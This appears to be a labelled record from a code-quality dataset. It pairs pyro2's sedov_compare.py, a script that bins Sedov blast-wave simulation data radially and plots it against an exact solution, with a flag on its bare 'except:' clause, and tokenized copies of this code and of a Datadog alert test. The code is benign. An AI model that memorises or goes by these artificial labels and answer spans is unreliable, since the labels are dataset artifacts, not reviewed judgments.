"[_", "'", "query", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "silence", "d", "'_", "]_", "==_", "False_", ",_", "alert_", "[_", "'", "silence", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "notif", "y", "\\u", "no", "\\u", "data", "'_", "]_", "==_", "False_", ",_", "alert_", "[_", "'", "notif", "y", "\\u", "no", "\\u", "data", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dog", "_", "._", "update", "\\u", "alert_", "(_", "alert", "\\u", "id_", ",_", "query_", ",_", "silence", "d_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alert_", "=_", "dog", "_", "._", "get", "\\u", "alert_", "(_", "alert", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "query", "'_", "]_", "==_", "query_", ",_", "alert_", "[_", "'", "query", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "silence", "d", "'_", "]_", "==_", "True_", ",_", "alert_", "[_", "'", "silence", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dog", "_", "._", "update", "\\u", "alert_", "(_", "alert", "\\u", "id_", ",_", "query_", ",_", "silence", "d_", "=_", "True_", ",_", "notif", "y", "\\u", "no", "\\u", "data_", "=_", "True_", ",_", "timeo", "ut", "\\u", "h_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alert_", "=_", "dog", "_", "._", "get", "\\u", "alert_", "(_", "alert", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "query", "'_", "]_", "==_", "query_", ",_", "alert_", "[_", "'", "query", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "silence", "d", "'_", "]_", "==_", "True_", ",_", "alert_", "[_", "'", "silence", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "notif", "y", "\\u", "no", "\\u", "data", "'_", "]_", "==_", "True_", ",_", "alert_", "[_", "'", "notif", "y", "\\u", "no", "\\u", "data", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert_", "[_", "'", "timeo", "ut", "\\u", "h", "'_", "]_", "==_", "1_", ",_", "alert_", "[_", "'", "timeo", "ut", "\\u", "h", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dog", "_", "._", "delete", "\\u", "alert_", "(_", "alert", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dog", "_", "._", "get", "\\u", "alert_", "(_", "alert", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "False_", ",_", "'", "alert", " ", "not", " ", "delete", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "query", "1_", "=_", "\"", "avg", "(", "last", "\\u", "1", "h", "):", "sum", ":", "system", ".", "net", ".", "bytes", "\\u", "rcv", "d", "{", "host", ":", "host", "0", "}", " ", ">", " ", "100", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "2_", "=_", "\"", "avg", "(", "last", "\\u", "1", "h", "):", "sum", ":", "system", ".", "net", ".", "bytes", "\\u", "rcv", "d", "{", "host", ":", "host", "0", "}", " ", ">", " ", "200", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alert", "\\u", "id1_", "=_", "dog", "_", "._", "alert_", "(_", "query", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alert", "\\u", "id2_", "=_", "dog", "_", "._", "alert_", "(_", "query", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alerts_", "=_", "dog", "_", "._", "get", "\\u", "all", "\\u", "alerts_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alert", "1_", "=_", "[_", "a_", "for_", "a_", "in_", "alerts_", "if_", "a_", "[_", "'", "id", "'_", "]_", "==_", "alert", "\\u", "id1_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alert", "2_", "=_", "[_", "a_", "for_", "a_", "in_", "alerts_", "if_", "a_", "[_", "'", "id", "'_", "]_", "==_", "alert", "\\u", "id2_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert", "1_", "[_", "'", "query", "'_", "]_", "==_", "query", "1_", ",_", "alert", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "alert", "2_", "[_", "'", "query", "'_", "]_", "==_", "query", "2_", ",_", "alert", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
zingale/pyro2/analysis/sedov_compare.py
[ { "content": "#!/usr/bin/env python\n\nimport numpy as np\nimport mesh.patch as patch\nimport sys\nimport matplotlib.pyplot as plt\n\nusage = \"\"\"\n compare the output for a Sedov problem with the exact solution contained\n in cylindrical-sedov.out. To do this, we need to bin the Sedov data\n into radial bins.\n\n usage: ./sedov_compare.py file\n\"\"\"\n\n\n\nif not len(sys.argv) == 2:\n print usage\n sys.exit(2)\n\n\ntry: file1 = sys.argv[1]\nexcept:\n print usage\n sys.exit(2)\n\n\n# read the data and convert to the primitive variables (and velocity\n# magnitude)\nmyg, myd = patch.read(file1)\n\ndens = myd.get_var(\"density\")\nxmom = myd.get_var(\"x-momentum\")\nymom = myd.get_var(\"y-momentum\")\nener = myd.get_var(\"energy\")\n\nrho = dens[myg.ilo:myg.ihi+1,myg.jlo:myg.jhi+1]\n\nu = np.sqrt(xmom[myg.ilo:myg.ihi+1,myg.jlo:myg.jhi+1]**2 +\n ymom[myg.ilo:myg.ihi+1,myg.jlo:myg.jhi+1]**2)/rho\n\ne = (ener[myg.ilo:myg.ihi+1,myg.jlo:myg.jhi+1] - 0.5*rho*u*u)/rho\ngamma = myd.get_aux(\"gamma\")\np = rho*e*(gamma - 1.0)\n\n\n\n# get the exact solution\nexact = np.loadtxt(\"cylindrical-sedov.out\")\n\nx_exact = exact[:,1]\nrho_exact = exact[:,2]\nu_exact = exact[:,5]\np_exact = exact[:,4]\n#e_exact = exact[:,4]\n\n\n# radially bin\n\n# see http://code.google.com/p/agpy/source/browse/trunk/agpy/radialprofile.py?r=317\n# for inspiration\n\n# first define the bins\nrmin = 0\nrmax = np.sqrt(myg.xmax**2 + myg.ymax**2)\n\nnbins = np.int(np.sqrt(myg.nx**2 + myg.ny**2))\n\n# bins holds the edges, so there is one more value than actual bin\n# bin_centers holds the center value of the bin\nbins = np.linspace(rmin, rmax, nbins+1)\nbin_centers = 0.5*(bins[1:] + bins[:-1])\n\n\n# radius of each zone\nxcenter = 0.5*(myg.xmin + myg.xmax)\nycenter = 0.5*(myg.ymin + myg.ymax)\n\nr = np.sqrt( (myg.x2d[myg.ilo:myg.ihi+1,myg.jlo:myg.jhi+1] - xcenter)**2 +\n (myg.y2d[myg.ilo:myg.ihi+1,myg.jlo:myg.jhi+1] - ycenter)**2 )\n\n\n# bin the radii -- digitize returns an array with the same shape as\n# the input array but with elements of the array specifying which bin\n# that location belongs to. The value of whichbin will be 1 if we are\n# located in the bin defined by bins[0] to bins[1]. This means that\n# there will be no 0s\nwhichbin = np.digitize(r.flat, bins)\n\n# bincount counts the number of occurrences of each non-negative\n# integer value in whichbin. Each entry in ncount gives the number\n# of occurrences of it in whichbin. The length of ncount is\n# set by the maximum value in whichbin\nncount = np.bincount(whichbin)\n\n\n# now bin the associated data\nrho_bin = np.zeros(len(ncount)-1, dtype=np.float64)\nu_bin = np.zeros(len(ncount)-1, dtype=np.float64)\np_bin = np.zeros(len(ncount)-1, dtype=np.float64)\n\nfor n in range(len(ncount)):\n\n # remember that there are no whichbin == 0, since that corresponds\n # to the left edge. So we want whichbin == 1 to correspond to the\n # first value of bin_centers (bin_centers[0])\n rho_bin[n-1] = np.sum(rho.flat[whichbin==n])/np.sum(ncount[n])\n u_bin[n-1] = np.sum( u.flat[whichbin==n])/np.sum(ncount[n])\n p_bin[n-1] = np.sum( p.flat[whichbin==n])/np.sum(ncount[n])\n\n\nbin_centers = bin_centers[0:len(ncount)-1]\n\n\n# plot\nfig, axes = plt.subplots(nrows=3, ncols=1, num=1)\n\nplt.rc(\"font\", size=10)\n\n\nax = axes.flat[0]\n\nax.plot(x_exact, rho_exact)\nax.scatter(bin_centers, rho_bin, marker=\"x\", s=7, color=\"r\")\n\nax.set_ylabel(r\"$\\rho$\")\nax.set_xlim(0,0.6)\n\nax = axes.flat[1]\n\nax.plot(x_exact, u_exact)\nax.scatter(bin_centers, u_bin, marker=\"x\", s=7, color=\"r\")\n\nax.set_ylabel(r\"$u$\")\nax.set_xlim(0,0.6)\n\nax = axes.flat[2]\n\nax.plot(x_exact, p_exact)\nax.scatter(bin_centers, p_bin, marker=\"x\", s=7, color=\"r\")\n\nax.set_ylabel(r\"$p$\")\nax.set_xlim(0,0.6)\nax.set_xlabel(r\"r\")\n\n\nplt.subplots_adjust(hspace=0.25)\n\n\nfig.set_size_inches(4.5,8.0)\n\nplt.savefig(\"sedov_compare.png\", bbox_inches=\"tight\")\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "except:", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mesh_", "._", "patch_", "as_", "patch_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "matplotlib_", "._", "pyplot_", "as_", "plt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "usage_", "=_", "\"\"\"", "\\", "10", ";", " ", " ", "compare", " ", "the", " ", "output", " ", "for", " ", "a", " ", "Sed", "ov", " ", "problem", " ", "with", " ", "the", " ", "exact", " ", "solut", "ion", " ", "contain", "ed", "\\", "10", ";", " ", " ", "in", " ", "cyl", "indr", "ical", "-", "sed", "ov", ".", "out", ".", " ", " ", "To", " ", "do", " ", "this", ",", " ", "we", " ", "need", " ", "to", " ", "bin", " ", "the", " ", "Sed", "ov", " ", "data", "\\", "10", ";", " ", " ", "int", "o", " ", "radial", " ", "bins", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "usage", ":", " ", "./", "sed", "ov", "\\u", "compare", ".", "py", " ", "file", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "len_", "(_", "sys_", "._", "argv_", ")_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "usage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "file1_", "=_", "sys_", "._", "argv_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "usage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "read", " ", "the", " ", "data", " ", "and", " ", "convert", " ", "to", " ", "the", " ", "primi", "tiv", "e", " ", "variab", "les", " ", "(", "and", " ", "velocity_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "magnitude", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "myg", "_", ",_", "myd", "_", "=_", "patch_", "._", "read_", "(_", "file1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dens", "_", "=_", "myd", "_", "._", "get", "\\u", "var_", "(_", "\"", "densit", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xm", "om_", "=_", "myd", "_", "._", "get", "\\u", "var_", "(_", "\"", "x", "-", "moment", "um", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ymo", "m_", "=_", "myd", "_", "._", "get", "\\u", "var_", "(_", "\"", "y", "-", "moment", "um", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ener", "_", "=_", "myd", "_", "._", "get", "\\u", "var_", "(_", "\"", "energ", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rho_", "=_", "dens", "_", "[_", "myg", "_", "._", "ilo", "_", ":_", "myg", "_", "._", "ih", "i_", "+_", "1_", ",_", "myg", "_", "._", "jl", "o_", ":_", "myg", "_", "._", "jh", "i_", "+_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "u_", "=_", "np_", "._", "sqrt_", "(_", "xm", "om_", "[_", "myg", "_", "._", "ilo", "_", ":_", "myg", "_", "._", "ih", "i_", "+_", "1_", ",_", "myg", "_", "._", "jl", "o_", ":_", "myg", "_", "._", "jh", "i_", "+_", "1_", "]_", "**_", "2_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "ymo", "m_", "[_", "myg", "_", "._", "ilo", "_", ":_", "myg", "_", "._", "ih", "i_", "+_", "1_", ",_", "myg", "_", "._", "jl", "o_", ":_", "myg", "_", "._", "jh", "i_", "+_", "1_", "]_", "**_", "2_", ")_", "/_", "rho_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "e_", "=_", "(_", "ener", "_", "[_", "myg", "_", "._", "ilo", "_", ":_", "myg", "_", "._", "ih", "i_", "+_", "1_", ",_", "myg", "_", "._", "jl", "o_", ":_", "myg", "_", "._", "jh", "i_", "+_", "1_", "]_", "-_", "0.5_", "*_", "rho_", "*_", "u_", "*_", "u_", ")_", "/_", "rho_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gamma_", "=_", "myd", "_", "._", "get", "\\u", "aux_", "(_", "\"", "gamma", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "rho_", "*_", "e_", "*_", "(_", "gamma_", "-_", "1.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "exact", " ", "solution_", "\\u\\u\\uNL\\u\\u\\u_", "exact_", "=_", "np_", "._", "loadtxt_", "(_", "\"", "cyl", "indr", "ical", "-", "sed", "ov", ".", "out", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x", "\\u", "exact_", "=_", "exact_", "[_", ":_", ",_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rho", "\\u", "exact_", "=_", "exact_", "[_", ":_", ",_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u\\u", "exact_", "=_", "exact_", "[_", ":_", ",_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "\\u", "exact_", "=_", "exact_", "[_", ":_", ",_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "e\\u", "exact", " ", " ", " ", "=", " ", "exact", "[:,", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "radial", "ly", " ", "bin_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "see", " ", "http", "://", "code", ".", "google", ".", "com", "/", "p", "/", "ag", "py", "/", "source", "/", "browse", "/", "trunk", "/", "ag", "py", "/", "radial", "profile", ".", "py", "?", "r", "=", "317", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "insp", "irat", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "first", " ", "defin", "e", " ", "the", " ", "bins_", "\\u\\u\\uNL\\u\\u\\u_", "rmin", "_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rmax", "_", "=_", "np_", "._", "sqrt_", "(_", "myg", "_", "._", "xmax_", "**_", "2_", "+_", "myg", "_", "._", "ymax_", "**_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nbins_", "=_", "np_", "._", "int_", "(_", "np_", "._", "sqrt_", "(_", "myg", "_", "._", "nx_", "**_", "2_", "+_", "myg", "_", "._", "ny_", "**_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bins", " ", "hold", "s", " ", "the", " ", "edge", "s", ",", " ", "so", " ", "there", " ", "is", " ", "one", " ", "more", " ", "value", " ", "than", " ", "actual", " ", "bin_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bin", "\\u", "center", "s", " ", "hold", "s", " ", "the", " ", "center", " ", "value", " ", "of", " ", "the", " ", "bin_", "\\u\\u\\uNL\\u\\u\\u_", "bins_", "=_", "np_", "._", "linspace_", "(_", "rmin", "_", ",_", "rmax", "_", ",_", "nbins_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bin", "\\u", "centers_", "=_", "0.5_", "*_", "(_", "bins_", "[_", "1_", ":_", "]_", "+_", "bins_", "[_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "radi", "us", " ", "of", " ", "each", " ", "zone_", "\\u\\u\\uNL\\u\\u\\u_", "xce", "nter", "_", "=_", "0.5_", "*_", "(_", "myg", "_", "._", "xmin_", "+_", "myg", "_", "._", "xmax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ycen", "ter_", "=_", "0.5_", "*_", "(_", "myg", "_", "._", "ymin_", "+_", "myg", "_", "._", "ymax_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "np_", "._", "sqrt_", "(_", "(_", "myg", "_", "._", "x2", "d_", "[_", "myg", "_", "._", "ilo", "_", ":_", "myg", "_", "._", "ih", "i_", "+_", "1_", ",_", "myg", "_", "._", "jl", "o_", ":_", "myg", "_", "._", "jh", "i_", "+_", "1_", "]_", "-_", "xce", "nter", "_", ")_", "**_", "2_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "myg", "_", "._", "y2", "d_", "[_", "myg", "_", "._", "ilo", "_", ":_", "myg", "_", "._", "ih", "i_", "+_", "1_", ",_", "myg", "_", "._", "jl", "o_", ":_", "myg", "_", "._", "jh", "i_", "+_", "1_", "]_", "-_", "ycen", "ter_", ")_", "**_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bin", " ", "the", " ", "radi", "i", " ", "--", " ", "digit", "ize", " ", "return", "s", " ", "an", " ", "array", " ", "with", " ", "the", " ", "same", " ", "shape", " ", "as_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "input", " ", "array", " ", "but", " ", "with", " ", "element", "s", " ", "of", " ", "the", " ", "array", " ", "speci", "fy", "ing", " ", "whi", "ch", " ", "bin_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", " ", "location", " ", "belo", "ngs", " ", "to", ".", " ", " ", "The", " ", "value", " ", "of", " ", "whi", "ch", "bin", " ", "will", " ", "be", " ", "1", " ", "if", " ", "we", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "located", " ", "in", " ", "the", " ", "bin", " ", "defin", "ed", " ", "by", " ", "bins", "[", "0", "]", " ", "to", " ", "bins", "[", "1", "].", " ", " ", "Thi", "s", " ", "means", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "there", " ", "will", " ", "be", " ", "no", " ", "0", "s_", "\\u\\u\\uNL\\u\\u\\u_", "whi", "ch", "bin_", "=_", "np_", "._", "digit", "ize_", "(_", "r_", "._", "flat_", ",_", "bins_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "binc", "ount", " ", "count", "s", " ", "the", " ", "number", " ", "of", " ", "occurrences", " ", "of", " ", "each", " ", "non", "-", "negative_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "integ", "er", " ", "value", " ", "in", " ", "whi", "ch", "bin", ".", " ", " ", "Ea", "ch", " ", "entry", " ", "in", " ", "nco", "unt", " ", "give", "s", " ", "the", " ", "number_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "occurrences", " ", "of", " ", "it", " ", "in", " ", "whi", "ch", "bin", ".", " ", " ", "The", " ", "length", " ", "of", " ", "nco", "unt", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "set", " ", "by", " ", "the", " ", "maxim", "um", " ", "value", " ", "in", " ", "whi", "ch", "bin_", "\\u\\u\\uNL\\u\\u\\u_", "nco", "unt_", "=_", "np_", "._", "binc", "ount_", "(_", "whi", "ch", "bin_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "bin", " ", "the", " ", "associate", "d", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "rho", "\\u", "bin_", "=_", "np_", "._", "zeros_", "(_", "len_", "(_", "nco", "unt_", ")_", "-_", "1_", ",_", "dtype_", "=_", "np_", "._", "float64_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u\\u", "bin_", "=_", "np_", "._", "zeros_", "(_", "len_", "(_", "nco", "unt_", ")_", "-_", "1_", ",_", "dtype_", "=_", "np_", "._", "float64_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "\\u", "bin_", "=_", "np_", "._", "zeros_", "(_", "len_", "(_", "nco", "unt_", ")_", "-_", "1_", ",_", "dtype_", "=_", "np_", "._", "float64_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "n_", "in_", "range_", "(_", "len_", "(_", "nco", "unt_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remember", " ", "tha", "t", " ", "there", " ", "are", " ", "no", " ", "whi", "ch", "bin", " ", "==", " ", "0", ",", " ", "sinc", "e", " ", "tha", "t", " ", "correspond", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "the", " ", "left", " ", "edge", ".", " ", " ", "So", " ", "we", " ", "want", " ", "whi", "ch", "bin", " ", "==", " ", "1", " ", "to", " ", "correspond", " ", "to", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "first", " ", "value", " ", "of", " ", "bin", "\\u", "center", "s", " ", "(", "bin", "\\u", "center", "s", "[", "0", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rho", "\\u", "bin_", "[_", "n_", "-_", "1_", "]_", "=_", "np_", "._", "sum_", "(_", "rho_", "._", "flat_", "[_", "whi", "ch", "bin_", "==_", "n_", "]_", ")_", "/_", "np_", "._", "sum_", "(_", "nco", "unt_", "[_", "n_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u\\u", "bin_", "[_", "n_", "-_", "1_", "]_", "=_", "np_", "._", "sum_", "(_", "u_", "._", "flat_", "[_", "whi", "ch", "bin_", "==_", "n_", "]_", ")_", "/_", "np_", "._", "sum_", "(_", "nco", "unt_", "[_", "n_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p", "\\u", "bin_", "[_", "n_", "-_", "1_", "]_", "=_", "np_", "._", "sum_", "(_", "p_", "._", "flat_", "[_", "whi", "ch", "bin_", "==_", "n_", "]_", ")_", "/_", "np_", "._", "sum_", "(_", "nco", "unt_", "[_", "n_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bin", "\\u", "centers_", "=_", "bin", "\\u", "centers_", "[_", "0_", ":_", "len_", "(_", "nco", "unt_", ")_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "plot_", "\\u\\u\\uNL\\u\\u\\u_", "fig_", ",_", "axes_", "=_", "plt_", "._", "subplots_", "(_", "nrows_", "=_", "3_", ",_", "ncols_", "=_", "1_", ",_", "num_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plt_", "._", "rc_", "(_", "\"", "font", "\"_", ",_", "size_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "=_", "axes_", "._", "flat_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "._", "plot_", "(_", "x", "\\u", "exact_", ",_", "rho", "\\u", "exact_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "scatter_", "(_", "bin", "\\u", "centers_", ",_", "rho", "\\u", "bin_", ",_", "marker_", "=_", "\"", "x", "\"_", ",_", "s_", "=_", "7_", ",_", "color_", "=_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "._", "set\\u", "ylabel_", "(_", "r", "\"$", "\\\\", "rho", "$\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "set\\u", "xlim_", "(_", "0_", ",_", "0.6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "=_", "axes_", "._", "flat_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ax_", "._", "plot_", "(_", "x", "\\u", "exact_", ",_", "u\\u", "exact_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ax_", "._", "scatter_", "(_", "bin", "\\u", "centers_", ",_", "u\\u", "bin_", ",_", "marker_", "=_", "\"", "x", "\"_", ",_", "s_", "=_", "7_", ",_", "color_", "=_", "\"", "r", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 